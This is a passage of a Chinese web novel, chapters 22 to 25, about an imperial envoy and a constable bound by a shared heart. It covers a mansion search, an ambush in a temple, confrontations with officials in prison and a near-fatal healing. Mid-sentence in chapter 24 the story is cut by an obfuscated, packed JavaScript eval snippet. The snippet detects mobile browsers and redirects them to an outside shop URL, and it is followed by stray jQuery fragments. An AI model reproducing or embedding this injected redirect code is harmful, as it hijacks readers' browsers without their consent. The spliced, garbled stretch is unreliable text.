“陛下,”江清砚再次开口,“臣请旨,搜查柳府。” 永昌帝盯着柳文渊看了许久,终于缓缓点头:“准。” “陛下!”柳文渊嘶声,“臣乃三朝元老,若无确凿证据就搜查府邸,让臣颜面何存?让天下士子如何看朝廷?” “若你是清白的,搜查又何妨?”永昌帝冷冷道,“江清砚,朕给你两个时辰。若搜不出证据,你便辞去钦差之职,向柳山长赔罪。” “臣,领旨。” 柳府坐落在京城东城,占地广阔,府内亭台楼阁,园林水榭,气派非凡。江清砚带着刑部衙役和兵士赶到时,柳府大门紧闭,管家带着一众家丁挡在门前。 “江钦差,我家老爷是当朝太傅,没有圣旨,谁敢搜查?”管家昂着头,一副有恃无恐的样子。 江清砚亮出尚方宝剑:“此剑如朕亲临,尔等敢抗旨?” 管家脸色一变,但依旧不让:“就算有尚方宝剑,也该有搜查文书……” 话未说完,谢云辞上前一步,一脚踹开大门:“啰嗦什么?搜!” 兵士们一拥而入。柳府顿时大乱,女眷的尖叫声、家丁的呵斥声、翻箱倒柜的声音混成一片。 江清砚直奔书房。 柳文渊的书房很大,三面墙都是书柜,藏书不下万卷。正中一张紫檀木书桌,桌上文房四宝俱全,还摆着几盆兰草,清雅非常。 周文远说账本在书房暗格,但暗格在哪里? 江清砚仔细打量书房。书柜整齐,地面平整,墙壁光滑,看不出哪里有暗格。他走到书桌前,摸了摸桌面、抽屉、桌腿……都没有机关。 时间一分一秒过去。 外面传来衙役的禀报声:卧房搜过了,没有。花厅搜过了,没有。库房搜过了,也没有。 两个时辰,转眼就过了一半。 江清砚额头渗出冷汗。若搜不出证据,他不仅要辞去钦差之职,还要向柳文渊赔罪——那等于承认自己诬陷忠良,从此仕途尽毁。 不,一定有。 柳文渊如此有恃无恐,定是认为暗格足够隐蔽,没人能找到。 江清砚闭上眼睛,深吸一口气,强迫自己冷静。他开始回想周文远的话——账本在书房暗格。周文远既然知道,说明他可能见过,或者……听说过。 一个被下毒逐渐毁掉神智的人,记忆可能混乱,但某些深刻的片段,或许会留下。 书房……暗格……柳文渊…… 忽然,江清砚睁开眼睛,走到那几盆兰草前。 兰草种在青瓷花盆里,长势正好。但其中一盆的泥土,颜色似乎比其他几盆稍深一些,而且……盆底边缘,有一圈极细微的磨损痕迹。 他端起那盆兰草,入手一沉——比正常的花盆重得多。 江清砚将兰草拔 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谢云辞脸色一变,冲出书房。只见院子里,几个黑衣人正在与刑部兵士厮杀!那些黑衣人武功高强,出手狠辣,转眼间已放倒数人。 “保护江钦差!”谢云辞厉喝,拔刀迎上。 江清砚站在书房门口,看着院中的厮杀。那些黑衣人显然是来灭口的——他们要抢回账簿,或者……杀了他。 一个黑衣人突破重围,直扑书房!谢云辞被两人缠住,脱身不得,急得目眦欲裂:“清砚,退!” 江清砚没有退。他站在门口,看着黑衣人越来越近,手中已扣住几枚淬毒钢针。 但黑衣人的速度太快了,眨眼已到眼前!刀光如电,直劈面门! 千钧一发之际,一道身影从侧面扑来,挡在江清砚身前—— 是谢云辞! 他硬挨了对手一刀,血溅三尺,却反手一刀,刺穿了黑衣人的心脏! “谢兄!”江清砚扶住他。 “没事……”谢云辞咬牙,伤口在左肩,深可见骨,血流如注,“账簿……送走了吗?” “送走了。” “那就好……”谢云辞松了口气,身体晃了晃。 江清砚连忙扶他坐下,撕下衣襟为他包扎。胸中那颗共同的心脏跳得又急又乱,他能感觉到谢云辞的痛,也能感觉到……生命力在流失。 “薛大夫……”他嘶声喊道,“快叫薛大夫!” 兵士们终于制服了剩余的黑衣人。薛大夫匆匆赶来,为谢云辞止血、上药、包扎。伤口虽深,但未伤及要害,总算没有性命之忧。 江清砚跪在谢云辞身边,握着他的手,脸色比伤者还白。 同生共死。 他终于真切地体会到这四个字的分量。 谢云辞看着他,扯出一个虚弱的笑:“哭什么……死不了……” 江清砚咬紧嘴唇,没说话,只是握紧了他的手。 两个时辰到了。 永昌帝的旨意也到了——柳文渊押入天牢,赵文远禁足府中,听候发落。江清砚护驾有功,赏黄金千两。谢云辞救驾有功,擢升一级。 但江清砚知道,这远不是结束。 赵文远背后,还有皇子。皇子背后,还有更大的势力。 而他和谢云辞,已经彻底站在了风暴的中心。 窗外,天亮了。 晨曦透过窗纸照进来,在满是血迹的地面上投下斑驳的光影。 江清砚扶着谢云辞,一步一步走出柳府。 府门外,围观的百姓指指点点,议论纷纷。有人叫好,有人唾骂,有人冷眼旁观。 这就是京城。 光鲜与污浊并存,正义与阴谋交织。 而他们的路,还要继续走下去。 因为有些真相,必须揭开。 有些公道,必须讨还。 无论前方是刀山,还是火海。 既然选择了同行,便没有退路。 23. 第 23 章 第二十三章以命作保 柳府的血迹尚未干透,朝堂的波澜已起。 早朝时,永昌帝当庭宣读了从柳文渊书房搜出的账簿。当“赵文远”三个字被念出时,满朝哗然。吏部侍郎,掌管天下官员铨选的二品大员,竟与水鬼帮勾结,染指科举——这是动摇国本的大罪。 赵文远当场跪地喊冤,说自己与柳文渊只是泛泛之交,从未收受过任何贿赂,账簿定是伪造。他声泪俱下,磕头如捣蒜,额头都磕出了血。 朝臣们面面相觑。有人怒斥赵文远祸国殃民,有人则为他说情,说赵侍郎为官三十年,勤勉廉洁,定是遭人陷害。朝堂上吵成一团,像炸开的蜂窝。 永昌帝冷眼看着,许久,才缓缓开口:“账簿真伪,自有三司会审定论。但在查清之前,赵文远禁足府中,不得离京。柳文渊押入天牢,严加看管。此案由江清砚主理,三司协办,务必查个水落石出。” 圣旨一下,再无人敢多言。 散朝后,江清砚被单独留下。 养心殿里,永昌帝屏退左右,看着他苍白却坚定的脸,忽然问:“江清砚,你怕不怕?” “怕。”江清砚如实答道,“但怕也要查。” “为什么?” “因为若学生不查,那些被水鬼帮掳走的人就白死了,那些被毁掉的人生就永远得不到公道。”江清砚抬起头,目光清澈,“陛下,读书人读的是圣贤书,求的是天下太平。若见不平而不敢言,遇奸邪而不敢查,那书,就白读了。” 永昌帝看着他,眼中闪过复杂的神色。许久,才轻叹一声:“你可知,赵文远背后是谁?” 江清砚沉默片刻,低声道:“学生不敢妄猜。” “是朕的三皇子。”永昌帝缓缓道,“赵文远是老三的舅舅。” 果然。 江清砚心头一沉。皇子牵扯其中,事情就复杂了——不,是凶险了。 “陛下……”他欲言又止。 “你想问,朕会不会包庇自己的儿子?”永昌帝苦笑,“朕是天子,也是父亲。但朕更知道,天子犯法,与庶民同罪。若老三真做了这等事……” 他没说下去,但意思已经明白。 江清砚跪地叩首:“陛下圣明。” “圣明?”永昌帝摇摇头,“朕若真圣明,就不会让水鬼帮猖獗这么多年,不会让科举沦为某些人谋私的工具。江清砚,朕给你权力,也给你责任。此案必须查清,但……也要有分寸。” 分寸。 这两个字重如千钧。 查,要查到什么程度?查到三皇子头上?那朝局会动荡,国本会动摇。不查?那真相永埋,冤魂不散。 江清砚明白了永昌帝的难处,也明白了自己的处境——他成了一枚棋子,一枚用来敲山震虎、却也随时可能被舍弃的棋子。 “学生明白。”他低声道,“学生会掌握分寸。” 永昌帝点头,挥挥手:“去吧。记住,保护好自己。你的命,现在不只属于你自己。” 这句话意有所指。 江清砚心中一动,想起谢云辞,想起那同生共死的联结。 “谢陛下关心。” 走出养心殿,阳光刺目。江清砚站在高高的台阶上,看着宫墙外熙熙攘攘的京城,忽然觉得一阵眩晕。 胸中那颗共同的心脏跳得沉重。谢云辞的伤还没好,此刻恐怕正在刑部后衙休养,却还要分担他的疲惫和压力。 同生共死。 这到底是恩赐,还是诅咒? 他摇摇头,强迫自己振作。现在不是软弱的时候。 回到刑部,李崇明已经在等他。 “江钦差,”李崇明神色凝重,“赵文远府上出事了。” “什么?” “半个时辰前,赵府走水。”李崇明低声道,“火势很大,烧毁了大半房屋。最重要的是……赵文远的书房,被烧得一干二净。” 书房被烧。 江清砚立刻明白了——灭口,毁证。 “赵文远人呢?” “受了惊吓,但无大碍。”李崇明顿了顿,“他说是下人打翻烛台,意外失火。但我们的人查验现场,发现多处火点,显然是人为纵火。” “抓到纵火的人了吗?” “没有。”李崇明摇头,“火起时一片混乱,等扑灭火势,纵火的人早跑了。” 江清砚沉默。 对方动作太快了。账簿刚搜出来,赵府就失火,书房被毁——这是要掐断所有线索。 “还有一件事。”李崇明从袖中取出一封信,“今早有人用箭射进刑部衙门的,指名给你。” 信是素笺,只有一行字: “今夜子时,城隍庙见。若想救谢云辞,一个人来。” 谢云辞?! 江清砚瞳孔骤缩。谢云辞不是在刑部后衙养伤吗?怎么会…… 他猛地转身,朝后衙奔去。 后衙厢房里,谢云辞果然不在。床上被褥凌乱,桌上还摆着未喝完的药碗,但人已不见踪影。窗棂上有轻微的划痕,像是被人从外面撬开。 江清砚的心沉到了谷底。 对方抓了谢云辞。 为什么?因为谢云辞是六扇门总捕,知道太多?还是因为……谢云辞与他性命相连,控制谢云辞,就等于控制了他? “江钦差,”李崇明跟进来,看到空无一人的房间,脸色也变了,“我立刻派人全城搜索!” “不。”江清砚却摇头,声音异常平静,“他们抓谢兄,是为了引我出去。若大张旗鼓搜索,反而会害了谢兄。” “那……” “我去城隍庙。”江清砚转身,目光清亮,“一个人去。” “不行!”李崇明急道,“这明显是陷阱!他们抓了谢总捕,就是为了引你入瓮!你若去了,岂不是自投罗网?” “我知道是陷阱。”江清砚轻声道,“但谢兄在他们手里,我必须去。” “可你的身体……” “我没事。”江清砚从怀中取出薛大夫给的药瓶,倒出一粒药丸吞下,“李大人,若我子时未归,你就带人去城隍庙。但记住,要等我信号。” “什么信号?” 江清砚指了指胸口:“我和谢兄,有些特殊的联系。若我们有危险,你会知道的。” 他说得隐晦,李崇明却听明白了——同生共死之术,他是知道的。 “江钦差……”李崇明眼中闪过敬佩,也闪过担忧,“务必小心。” “我会的。” 子时的城隍庙,阴森可怖。 庙在京城西郊,早已荒废多年。断壁残垣,杂草丛生,只有那尊泥塑的城隍像还立在大殿里,漆皮剥落,露出里面灰白的泥胎,在月光下显得格外狰狞。 江清砚提着灯笼,独自走进庙门。 大殿里空无一人,只有夜风吹过破窗的呜咽声。他停下脚步,朗声道:“我来了。谢云辞在哪里?” 黑暗中,传来一声轻笑。 “江钦差果然重情重义。”一个嘶哑的声音响起,像是刻意伪装过,“谢总捕就在你身后。” 江清砚猛地转身。 只见大殿角落里,谢云辞被绑在一根柱子上,嘴上贴着布条,眼中满是焦灼。他肩上的伤口又裂开了,血浸透了绷带,在昏暗的光线下显得触目惊心。 而他身后,站着三个黑衣人,个个手持利刃,刀尖抵在谢云辞咽喉。 为首的黑衣人缓步走出阴影。他蒙着面,但身形、步态,江清砚一眼就认出来了—— 赵炎。 吏部侍郎之子,那个在悦来客栈挑衅他的纨绔。 “赵公子,”江清砚平静道,“何必藏头露尾?” 赵炎一愣,随即扯下面巾,露出那张傲慢的脸。他盯着江清砚,眼中满是恨意:“你害了我爹,毁了我赵家,今日,我要你偿命!” “你爹若清白,谁也害不了他。”江清砚淡淡道,“倒是你,绑架朝廷命官,该当何罪?” “罪?”赵炎冷笑,“等你们都死了,谁知道是我做的?城隍庙年久失修,夜里塌了,压死两个倒霉鬼,不是很合理吗?” 他说着,一挥手。两个黑衣人立刻上前,一左一右围住江清砚。 “江清砚,我给你两个选择。”赵炎走到谢云辞身边,刀尖在他脖子上轻轻划动,留下一道血痕,“第一,写下认罪书,承认是你陷害我爹,然后自尽。如此,我放谢云辞一条生路。” “第二呢?” “第二,”赵炎眼中闪过狠毒,“我当着你的面,一刀一刀剐了谢云辞,然后……再杀了你。” 江清砚看着谢云辞。后者虽不能言,但眼神坚定,在摇头——不要管我,快走。 他笑了。 那笑意很浅,却让赵炎心头莫名一寒。 “赵炎,你犯了个错误。”江清砚轻声道,“你不该把我和谢兄,分开来威胁。” “什么意思?” “意思就 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江清砚拖着赵炎疾退,险险避过一根砸下的横梁。但另外两个黑衣人就没那么幸运了,被埋在瓦砾下,生死不知。 烟尘弥漫,伸手不见五指。 江清砚死死按住赵炎,手中的匕首抵得更紧:“说!谁指使你来的?三皇子?” 赵炎哆嗦着,却咬紧牙关不说。 忽然,烟尘中传来一声轻微的机括声—— “咻!” 一支弩箭破空而来,直射江清砚后心! 太快了!根本来不及躲! 千钧一发之际,一道身影扑来,挡在他身前—— 是谢云辞! 弩箭没入他右胸,血花溅了江清砚满脸。 “谢兄!”江清砚目眦欲裂。 谢云辞踉跄一步,却反手一刀,将暗处放冷箭的第四个黑衣人钉在墙上!然后身体一晃,软软倒下。 江清砚抱住他,手按在他胸口,能感觉到那颗共同的心脏跳得又急又乱,生命力在迅速流失。 “坚持住……”他嘶声道,从怀中摸出药瓶,将最后一粒保命药塞进谢云辞口中。 然后,他抬起头,看向赵炎,眼中第一次燃起了真正的杀意。 “赵炎,”他声音冰冷,“若谢兄有事,我要你赵家……满门陪葬。” 赵炎被他眼中的杀气震慑,竟说不出话来。 就在这时,庙外传来急促的马蹄声! 李崇明带着刑部人马赶到了! “江钦差!谢总捕!”李崇明冲进大殿,看到眼前景象,倒吸一口凉气,“快!叫大夫!” 兵士们一拥而上,将赵炎捆了个结实。大夫立刻为谢云辞诊治——弩箭虽深,但未伤及心脏,总算是不幸中的万幸。 江清砚跪在谢云辞身边,握着他的手,脸色比伤者还白。 他能感觉到,胸中那颗共同的心脏,跳得微弱却顽强。 同生共死。 这一次,他们又一起闯过了鬼门关。 “清砚……”谢云辞睁开眼,虚弱地笑了笑,“我没事……” “别说话。”江清砚按住他的唇,“保存体力。” 谢云辞点点头,又昏睡过去。 李崇明走过来,低声道:“赵炎招了。他说是三皇子指使的,要他杀了你,毁掉所有证据。三皇子承诺,事成之后,保他赵家无恙。” 三皇子。 终于,浮出水面了。 江清砚抬头,看向窗外。天边已泛起鱼肚白,新的一天即将开始。 而这场风暴,终于要迎来最后的对决。 “李大人,”他缓缓道,“我要进宫,面圣。” “现在?” “现在。”江清砚站起身,虽然脚步虚浮,眼神却异常坚定,“有些话,必须当面说清楚。” 李崇明看着他,许久,重重点头:“好,我陪你。” 晨光中,两人走出城隍庙的废墟。 身后,谢云辞被小心抬上马车,送往刑部救治。 前方,是巍峨的皇城,是最后的战场。 江清砚握紧了拳。 这一次,他要为谢云辞讨个公道。 也要为所有冤魂,讨个公道。 无论对方是谁。 哪怕是皇子。 24. 第 24 章 第二十四章狱中相望 养心殿的门在身后缓缓关上,沉重的声响在空旷的殿堂里回荡。江清砚跪在冰冷的金砖地上,额头的冷汗顺着鬓角滑落,滴在明黄色的地衣上,洇开一小片深色。 他已经跪了半个时辰。 永昌帝坐在御案后,一言不发,只是翻看着刑部呈上的奏折——那是关于昨夜城隍庙之事的详细禀报,附有赵炎的供词,以及从赵府废墟中抢救出的几封残信。 残信是赵文远与三皇子往来的密函,虽被火烧得只剩片语只言,但关键的字句还在:“漕运之利……可分……”“科举人选……需慎……”“柳文渊可用……” 铁证如山。 可永昌帝依旧沉默。 这种沉默,比雷霆震怒更可怕。江清砚能感觉到胸口那颗共同的心脏,跳得又快又乱——那是谢云辞的焦灼,通过联结传来。谢云辞此刻应该还在刑部后衙养伤,箭伤未愈,却还要为他担忧。 “江清砚。”永昌帝终于开口,声音平静得没有一丝波澜,“抬起头来。” 江清砚缓缓抬头。 永昌帝看着他苍白的脸,眼中闪过复杂的神色:“你可知,老三……三皇子,是朕最疼爱的儿子?” “臣知道。” “他母妃去得早,朕总觉得亏欠他,所以平日里纵容了些。”永昌帝放下奏折,站起身,在殿中踱步,“可朕没想到,他会做出这等事——勾结匪类,染指科举,甚至……杀人灭口。” 他停下脚步,看向江清砚:“依律,皇子犯法,与庶民同罪。但他是皇子,是朕的儿子。江清砚,若你是朕,你会如何处置?” 这个问题太沉重,江清砚沉默良久,才轻声道:“臣不敢妄测圣意。但臣以为,天子犯法,与庶民同罪,此言不虚。若因是皇子而轻纵,则国法何在?公道何在?” “公道?”永昌帝苦笑,“这天下,哪有什么绝对的公道。朕是天子,却也是父亲。手心手背都是肉,你让朕如何抉择?” 江清砚听出了话里的挣扎。永昌帝不是昏君,他知道该怎么做,却下不了决心——因为那不仅是国事,更是家事。 “陛下,”他叩首,“臣有一言,不知当讲不当讲。” “讲。” “三皇子所为,已非寻常过错。勾结匪类,是为不仁;染指科举,是为不义;杀人灭口,是为不德。如此不仁不义不德之人,纵是皇子,又如何担得起江山社稷?” 江清砚抬起头,目光清澈而坚定:“陛下是天下人的君父,不止是三皇子一人的父亲。若为了一子,而寒了天下人的心,失了大周的江山……那才是真正的不孝不慈。” 字字诛心。 永昌帝盯着他,许久,忽然长叹一声:“江清砚,你真是……胆大包天。” “臣只是尽臣子本分。” “好一个尽臣子本分。”永昌帝走回御案后,坐下,提起朱笔,在奏折上批了几个字,然后递给侍立的太监,“传旨:三皇子禁足府中,非诏不得出。赵文远、柳文渊押入天牢,三司会审,依律定罪。” 太监接过奏折,躬身退下。 永昌帝又看向江清砚:“至于你……揭发大案有功,但擅闯宫禁,惊扰圣驾,功过相抵。回去好生休养,待伤势痊愈,再行封赏。” “臣,谢陛下隆恩。” 江清砚叩首,心中却无半点喜悦。三皇子只是禁足,赵文远和柳文渊要三司会审——这意味着,此事还有变数。 但他知道,这已是永昌帝能做的极限。再逼,就是逼宫了。 “去吧。”永昌帝摆摆手,显得疲惫不堪,“朕……累了。” 江清砚退出养心殿。殿外阳光刺目,他眯了眯眼,胸中那颗心脏跳得渐渐平稳——谢云辞的焦灼退去了,取而代之的是一种深沉的疲惫。 同生共死。 他们一起闯过了这一关,但代价是……谢云辞的伤更重了。 江清砚加快脚步,他要立刻回刑部。 刑部大牢,天字号牢房。 这是关押重犯的地方,守卫森严,三步一岗,五步一哨。江清砚持钦差令牌,才得以进入。 牢房分两间,中间隔着铁栅栏。左边关着柳文渊,右边关着赵文远。两人都穿着囚服,戴着枷锁,但神色截然不同。 柳文渊坐在草铺上,闭目养神,仿佛不是坐牢,而是在禅修。听到脚步声,他睁开眼,看到江清砚,居然还笑了笑:“江钦差,又见面了。” 江清砚没理他,走到右边牢房前。 赵文远蜷缩在墙角,头发散乱,眼神涣散,嘴里喃喃自语,不知在说什么。听到动静,他猛地抬头,看到江清砚,眼中爆发出疯狂的恨意。 “是你!是你害了我!害了炎儿!”他扑到栅栏前,双手抓着铁栏,拼命摇晃,“我要杀了你!杀了你!” 江清砚静静看着他疯癫的样子,心中无悲无喜。这个曾经权倾朝野的吏部侍郎,如今不过是个可怜的疯子。 “赵大人,”他缓缓开口,“三皇子已被禁足。你,还有柳文渊,将面临三司会审。依律,勾结匪类、扰乱科举,是死罪。” 赵文远愣住,随即嘶声大笑:“死罪?哈哈……死罪?江清砚,你以为你赢了吗?告诉你,你永远赢不了!因为……” 他忽然压低声音,眼中闪过诡异的得意:“因为三皇子不会倒!他是皇子,是陛下的亲生儿子!陛下不会杀他,也不会杀我们!等风头过去,我们还会出来,还会……” “还会怎样?”江清砚打断他,“继续祸国殃民吗?” “祸国殃民?”赵文远冷笑,“这天下,本就是弱肉强食!我们不过是在规则里玩得更好罢了!江清砚,你太天真了!你以为你揭发了真相,就能改变什么?不,什么都不会变!权贵依旧是权贵,蝼蚁依旧是蝼蚁!” 他说得癫狂,却道出了某种残酷的真实。 江清砚沉默片刻,忽然问:“赵大人,你可还记得周文远?” 赵文远一愣。 “那个被你和水鬼帮掳走,被下毒毁掉神智的江南才子。”江清砚轻声道,“他今年才二十二岁。本该有锦绣前程,却因为你们的私欲,成了废人。” “还有李慕言,王璞,还有其他被掳的举子……他们也都是人,也有父母,也有梦想。可你们为了权势,为了钱财,把他们当货物一样买卖、毁坏。” 他顿了顿,声音更轻:“赵大人,你也有儿子。若赵炎被人如此对待,你会如何?” 赵文远张了张嘴,却说不出话。 “己所不欲,勿施于人。”江清砚转身,准备离开,“赵大人,好自为之。” “等等!”赵文远忽然喊道,“江清砚,你……你可知道,三皇子背后,还有谁?” 江清砚脚步一顿。 赵文远眼中闪过一丝挣扎,最终咬牙道:“是……是二皇子。” 二皇子? 江清砚心头一震。三皇子和二皇子,一个母妃早逝,一个母族势大,在朝中本就是竞争关系。怎么会…… “你胡说!”隔壁牢房的柳文渊忽然开口,声音冰冷,“赵文远,死到临头,还想攀咬他人?” “我没有胡说!”赵文远嘶声道,“柳文渊,你以为我不知道?你表面上是三皇子的人,实则暗中与二皇子往来!那些账簿,那些书信,你都留了副本,就是准备必要时反咬一口,对不对?!” 柳文渊脸色骤变。 江清砚看着两人狗咬狗,心中寒意更甚。原来这潭水,比他想象的更深。 “继续说。”他看向赵文远。 赵文远喘着粗气,语速飞快:“二皇子早就想扳倒三皇子,所以暗中支持我们,让我们在水鬼帮的案子上做大,等时机成熟,就揭发出来,一举除掉三皇子这个对手。柳文渊就是二皇子安插在三皇子身边的钉子!” “你血口喷人!”柳文渊厉喝。 “我是不是血口喷人,你心里清楚!”赵文远转向江清砚,“江钦差,你若不信,可以去查柳文渊在城南的别院!那里藏着他与二皇子往来的密信!” 牢房里一片死寂。 江清砚看着两人,忽然觉得可笑。这些人为了权势,可以出卖任何人,包括自己的盟友。 “我会去查。”他最终道,“若属实,你们谁也跑不掉。” 说完,他转身离开。 身后传来赵文远癫狂的笑声和柳文渊的怒骂声,渐渐消失在甬道尽头。 走出大牢,阳光刺得江清砚眼睛发痛。他抬手挡了挡,胸口那颗共同的心脏忽然剧烈地跳动起来—— 是剧痛! 谢云辞出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863500|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事了! 江清砚脸色煞白,拔腿就往刑部后衙跑。 后衙厢房里,谢云辞躺在床上,脸色惨白如纸。薛大夫正在为他施针,额头上全是汗珠。 “怎么回事?”江清砚冲进去,声音发颤。 “箭伤感染,引发高热。”薛大夫头也不抬,“再加上他本就失血过多,身体虚弱……情况不妙。” 江清砚跪在床边,握住谢云辞的手。那只手滚烫,却在微微颤抖。 “谢兄……”他低唤。 谢云辞艰难地睁开眼,看到他,扯出一个虚弱的笑:“你……回来了……” “嗯,我回来了。”江清砚握紧他的手,“你坚持住,薛大夫在救你。” “我没事……”谢云辞闭上眼睛,呼吸急促,“就是……有点累……” 他的声音越来越弱,最后几乎听不见。 江清砚的心揪紧了。他能感觉到,胸中那颗共同的心脏,跳得越来越慢,越来越弱。 同生共死。 若谢云辞撑不过去,他也会…… “薛大夫!”他嘶声喊道。 “我在尽力!”薛大夫手下银针飞快,扎入谢云辞几处大穴,“但他身体损耗太大,心脉已经……” 话未说完,谢云辞忽然剧烈咳嗽起来,咳出暗红色的血块! “谢兄!”江清砚目眦欲裂。 薛大夫脸色大变,从药箱中取出一枚金针,对准谢云辞心口要穴,就要刺下—— “等等!”江清砚忽然抓住他的手。 “你做什么?!”薛大夫怒道,“不施针护住心脉,他撑不过一炷香!” 江清砚没说话,只是将薛大夫的手按在自己胸口。 薛大夫一愣,随即明白了——同生共死之术,两人的心脉是相连的。若谢云辞心脉衰竭,江清砚也会…… “你想用你的心脉,替他分担?”薛大夫声音发颤,“你疯了!你自己的心脉本就脆弱,若再分担他的伤,你会死的!” “那就一起死。”江清砚平静道,“薛大夫,施针吧。把我们……连在一起。” 薛大夫看着他,眼中满是震撼。许久,他咬了咬牙:“好!但你要答应我,若撑不住,立刻告诉我!” “我答应。” 金针刺下。 不是刺进谢云辞心口,而是刺进江清砚胸口——通过那奇妙的联结,将两人的心脉彻底贯通。 剧痛! 像是有一把烧红的铁钳,狠狠攥住了心脏。江清砚闷哼一声,眼前阵阵发黑,几乎晕厥。 但他死死咬住嘴唇,强迫自己保持清醒。 他能感觉到,谢云辞的心跳,正在一点一点恢复。虽然微弱,但确实在恢复。 同生共死。 这一次,是真正的同生共死。 薛大夫的银针一根接一根扎下,药汁一勺接一勺喂下。时间一点点流逝,窗外从正午到黄昏,从黄昏到深夜。 江清砚始终跪在床边,握着谢云辞的手,一动不动。 他能感觉到自己的生命力在流逝,也能感觉到谢云辞的生命力在回归。这是一种诡异的平衡,像走钢丝,稍有不慎,就是双双殒命。 终于,在黎明时分,谢云辞的呼吸平稳下来,高热退了。 薛大夫长舒一口气,瘫坐在椅子上,浑身被汗浸透:“撑……撑过来了。” 江清砚松开谢云辞的手,身体晃了晃,向后倒去。 薛大夫连忙扶住他,探了探脉,脸色又是一变:“你……你的心脉……” “没事。”江清砚虚弱地笑了笑,“还活着,就好。” 窗外的天,亮了。 第一缕晨光照进厢房,落在两人身上。 谢云辞还在沉睡,脸色依旧苍白,但呼吸均匀。 江清砚靠坐在床边,胸中那颗共同的心脏,跳得缓慢却坚定。 同生共死。 他们又闯过了一关。 但江清砚知道,前方还有更大的风暴。 二皇子,三皇子,朝堂党争,皇子夺嫡…… 这些,都不是他和谢云辞能左右的。 可他们已经踏进了漩涡,就再也出不去了。 唯一能做的,就是握紧彼此的手,一起面对。 无论前方是什么。 25. 第 25 章 第二十五章禁术·心头血 谢云辞醒来的第七日,薛大夫终于松口,说他可以下床走动了,但不能剧烈活动,不能动气,尤其不能动武。 “至少三个月。”薛大夫板着脸,“你们两个,都得给我好好养着。再折腾,神仙也救不回来。” 江清砚在一旁温声应下,送走薛大夫后,转头看见谢云辞已经下了床,正扶着桌沿,试图提起那把雁翎刀。 “谢兄。”他无奈地唤道。 谢云辞动作一顿,若无其事地收回手:“我就看看。” “看也不行。”江清砚走过去,扶他坐下,“薛大夫说了,心脉的伤要慢慢养。你现在提刀,万一牵动伤口……” “知道了知道了。”谢云辞打断他,语气不耐,眼中却有一丝暖意,“啰嗦。” 窗外已是深秋。院中那棵老槐树的叶子落了大半,剩下几片枯黄的在枝头摇曳,风一吹,便打着旋儿飘落。阳光很好,透过窗纸照进来,在地上投下斑驳的光影。 江清砚在谢云辞对面坐下,从袖中取出一卷文书,推到他面前。 “这是什么?”谢云辞问。 “三司会审的初拟判决。”江清砚轻声道,“李大人让我先看看。” 谢云辞展开文书。上面密密麻麻写满了字,核心内容却很简单:赵文远、柳文渊勾结匪类、扰乱科举,罪证确凿,判斩立决,家产抄没,族人流放。陈文正同罪,但念其有悔过表现,判绞监候。至于水鬼帮余孽,一律处斩。 而三皇子……只字未提。 “三皇子呢?”谢云辞抬头。 “圣旨已下,三皇子禁足府中,非诏不得出。”江清砚平静道,“李大人说,这是陛下的底线。” 谢云辞沉默。 他当然明白。皇子犯法,能与庶民同罪已是难得,真要杀头,那是动摇国本。永昌帝能下旨禁足,已是最大的让步。 “那二皇子……” “没有证据。”江清砚摇头,“赵文远临死攀咬,空口无凭。柳文渊在城南的别院已经搜过,确实有些书信往来,但都是寻常问候,没有实质内容。二皇子那边也上疏自辩,说是柳文渊一厢情愿,自己绝无参与。” 他说着,轻叹一声:“李大人说,二皇子在朝中势力不小,又有太后撑腰,若无铁证,动不了。” 所以,这场震动朝野的大案,最终只能查到赵文远、柳文渊这一层。再往上,就查不动了。 谢云辞握紧了拳,又缓缓松开。 不甘心吗?当然。但他也知道,这就是朝堂。有些真相,永远无法完全揭开。 “那些被掳的举子呢?”他问。 “都找到了。”江清砚眼中终于有了一丝暖意,“周文远在薛大夫调理下,神智恢复了些,虽然记忆仍有缺失,但已能正常生活。李慕言、王璞中了进士,殿试后就能授官。其他几位,也都安排了去处,或回乡,或留在京城,总算是……有了着落。” 这大概是这场惨剧中,唯一值得安慰的事了。 谢云辞点点头,忽然想起什么:“水生呢?” “他走了。”江清砚望向窗外,“他说大仇已报,京城不是他该留的地方。临走前,他留了话,说若我们以后去江南,可以去苏州找他。” 走了啊。 那个沉默寡言却重情重义的青年,终究选择了江湖。 房间里一时安静下来。只有秋风穿过窗缝的呜咽声,还有远处隐约的市井喧哗。 良久,谢云辞忽然开口:“清砚,等这些事情了了,你想做什么?” 江清砚一怔。 这个问题,谢云辞问过,他也问过谢云辞。但当时他们都觉得前路茫茫,生死难料,不敢多想。 可现在……案子虽然未能尽如人意,但总算告一段落。他们也都还活着。 “我想……”江清砚轻声道,“回润州。那里山清水秀,适合养病。我们可以开间医馆,你当护卫,我当大夫。虽不能大富大贵,但……安稳。” 他说的是“我们”。 谢云辞心头一暖,却摇了摇头:“我不能走。” “为什么?” “我的仇还没报。”谢云辞声音低沉,“六扇门总捕这个身份,是我查案的最好掩护。若辞官回乡,就再难接触到那些人了。” 江清砚明白了。 谢云辞的家仇,牵扯到六年前的一桩旧案。当时谢父任兵部侍郎,因北疆军饷案被诬陷贪污,满门抄斩,只逃出谢云辞和姐姐两人。姐姐为护他而死,这仇,他不能不报。 “仇家是谁?”江清砚问。 谢云辞沉默片刻,才缓缓道:“当年主审军饷案的,是刑部侍郎周世昌。但他三年前就已病故。真正幕后之人……”他顿了顿,“我查了六年,线索都指向宫中。具体是谁,还不清楚。” 宫中。 又是宫中。 江清砚心头一沉。从水鬼帮到科举舞弊,从赵文远到柳文渊,再到皇子……这京城的水,实在太深了。 “我陪你。”他说。 谢云辞抬眼看他。 “我说过,你的仇,我帮你记着。”江清砚目光清澈而坚定,“既然要查,就一起查。你在六扇门,我在……或许可以考个功名,入朝为官。如此,内外呼应,总能查到真相。” 入朝为官。 谢云辞看着眼前这个清瘦苍白的书生,忽然想起初见那夜——破庙雨夜,他满身是血,这个书生却毫不犹豫地救了他。那时他只觉得这人傻,现在却明白,那不是傻,是骨子里的仁善和坚韧。 